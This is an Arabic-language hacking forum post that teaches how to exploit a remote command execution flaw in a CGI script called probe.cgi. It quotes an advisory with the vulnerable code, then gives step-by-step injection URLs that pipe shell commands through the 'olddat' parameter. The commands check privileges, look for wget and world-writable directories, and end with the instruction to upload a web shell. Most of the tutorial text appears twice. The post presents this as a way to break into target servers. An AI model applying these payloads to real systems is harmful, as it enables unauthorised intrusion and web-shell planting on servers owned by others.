R.U.N.W.O.R.M
:: عضو مُتميز ::
- إنضم
- 19 ديسمبر 2007
- المشاركات
- 646
- نقاط التفاعل
- 16
- النقاط
- 17
السلام عليكم
في هذا الموضوع سوف نشرح بعض أنواع الثغرات وطريقة استغلالها
...
والثغرات بأختصار هي اخطاء برمجية يقع فيها المبرمجين تؤدي تلك الأخطاء الى استغلالها من قبل الهكر في أختراق النظام المستهدف
وهناك اخطاء برمجية كثيرة جدآ ومختلفة وكل خطاء لة استغلال معين
===================================
|1|
ثغرات تنفيذ الاوامر Command Execution
===================================
هذا النوع من الثغرات يحدث نتيجه استخدام دوال تنفيذ الاوامر في لغه PHP بشكل خاطئ ويتم استغلال الخطاء مباشرة في المتصفح بتنفيذ اوامر الليونكس
وتنقسم دوال تنفيذ الاوامر في لغة php
التي تنفذ بشكل مباشر الى system و popen و shell_exec و exec
هذه الدوال تنفذ اي برنامج نظام يمرر لها بشكل مباشر
وكمثال انظر الى هذا الاكسبلويت
نفهم من هذا انه توجد ثغرة من نوع Command Execution
والملف المصاب هو probe.cgi
..والان لنرى كيف يتم استغلال هذه الثغرة
|http://????.com/cgi-bin/probe.cgi?olddat=|id
????.com= الموقع الافتراضي المستهدف
cgi-bin = مجلد cgi-bin
probe.cgi = الملف المصاب
olddat = مكان الاصابة داخل الملف
|id| : تعطي صلاحيتك بالسيرفر
بعد كتابتها اضغط على انتر سوف يظهر التالي
uid=99(www) gid=99(www)
والان نريد ان نعرف مكاننا على السيرفر
نكتب pwd في مكان id هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|pwd
فيظهر لنا هذا:
/home/.????/cgi.bin
والان لنرى هل مسموح لنا برفع ملف ام لا؟؟
نضع مكان id
which wget هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|which wget
اذا ظهر لك هذا /؟؟؟/؟؟؟/wget معناه مسموح برفع ملف
(علامات الاستفهام متغيرة اهم شيئ ان تظهرwget )
والان نريد ان نعرف التصاريح للملفات والمجلدات لنعرف اين يمكننا الرفع:
منذ قليل قلنا ان مكاننا هو
/home/.????/cgi.bin
ونريد الخروج من ملف cgi.bin الى المجلد الرئيسي
لذلك نضع مكان الـ id
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/;pwd
ولكي نرى المجلدات والملفات والتصريحات نستعمل الامر
ls%20-al;هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/;ls%20-al
ثم نبحث عن المجلد الذي له تصريح :
ولندخل اليه نكتب هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/uploads/;pwd
والان كل ما عليك هو رفع الشل وبهذا نكون اكملنا طريقة استغلال هذا النوع من الثغرات
***
في هذا الموضوع سوف نشرح بعض أنواع الثغرات وطريقة استغلالها
...
والثغرات بأختصار هي اخطاء برمجية يقع فيها المبرمجين تؤدي تلك الأخطاء الى استغلالها من قبل الهكر في أختراق النظام المستهدف
وهناك اخطاء برمجية كثيرة جدآ ومختلفة وكل خطاء لة استغلال معين
===================================
|1|
ثغرات تنفيذ الاوامر Command Execution
===================================
هذا النوع من الثغرات يحدث نتيجه استخدام دوال تنفيذ الاوامر في لغه PHP بشكل خاطئ ويتم استغلال الخطاء مباشرة في المتصفح بتنفيذ اوامر الليونكس
وتنقسم دوال تنفيذ الاوامر في لغة php
التي تنفذ بشكل مباشر الى system و popen و shell_exec و exec
هذه الدوال تنفذ اي برنامج نظام يمرر لها بشكل مباشر
وكمثال انظر الى هذا الاكسبلويت
كود:
[FONT=Tahoma][SIZE=3][COLOR=#fa6443][SIZE=2]Authors ....... spher3 (spher3 at fatalimpulse dot net)
Date .......... 04-07-2008
Product ....... probe.cgi
Type .......... Remote Command Execution
o Info:
================
That ****** is used to open file '.dat'.
o Vulnerable Code:
================
..
23 [...]
24 $old = $query->param('olddat');
25 [...]
..
..
34 [...]
35 open (VF, "$olddat");
36 [...]
..
(24) At this line, the cgi param 'olddat' is associated to one database.
This variable isn't checked by anyone matching, so you can open
all file that you want. (35) At this line the ****** open the file
that you had chosen. With pipe `|`
is possible to execute arbitrary code on the shell.
o Proof of concept:
================
http://????.com/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)[/SIZE] [/COLOR][/SIZE][/FONT]
نفهم من هذا انه توجد ثغرة من نوع Command Execution
والملف المصاب هو probe.cgi
..والان لنرى كيف يتم استغلال هذه الثغرة
|http://????.com/cgi-bin/probe.cgi?olddat=|id
????.com= الموقع الافتراضي المستهدف
cgi-bin = مجلد cgi-bin
probe.cgi = الملف المصاب
olddat = مكان الاصابة داخل الملف
|id| : تعطي صلاحيتك بالسيرفر
بعد كتابتها اضغط على انتر سوف يظهر التالي
uid=99(www) gid=99(www)
والان نريد ان نعرف مكاننا على السيرفر
نكتب pwd في مكان id هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|pwd
فيظهر لنا هذا:
/home/.????/cgi.bin
والان لنرى هل مسموح لنا برفع ملف ام لا؟؟
نضع مكان id
which wget هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|which wget
اذا ظهر لك هذا /؟؟؟/؟؟؟/wget معناه مسموح برفع ملف
(علامات الاستفهام متغيرة اهم شيئ ان تظهرwget )
والان نريد ان نعرف التصاريح للملفات والمجلدات لنعرف اين يمكننا الرفع:
منذ قليل قلنا ان مكاننا هو
/home/.????/cgi.bin
ونريد الخروج من ملف cgi.bin الى المجلد الرئيسي
لذلك نضع مكان الـ id
cd /home/.???/;pwd
هكذا:|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/;pwd
ولكي نرى المجلدات والملفات والتصريحات نستعمل الامر
ls%20-al;هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/;ls%20-al
ثم نبحث عن المجلد الذي له تصريح :
drwxrwxrwx = 777
لنفرض انك حصلت أمام مجلد الصور أو uploads تصريح ( drwxrwxrwx = 777 )ولندخل اليه نكتب هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/uploads/;pwd
والان كل ما عليك هو رفع الشل وبهذا نكون اكملنا طريقة استغلال هذا النوع من الثغرات
***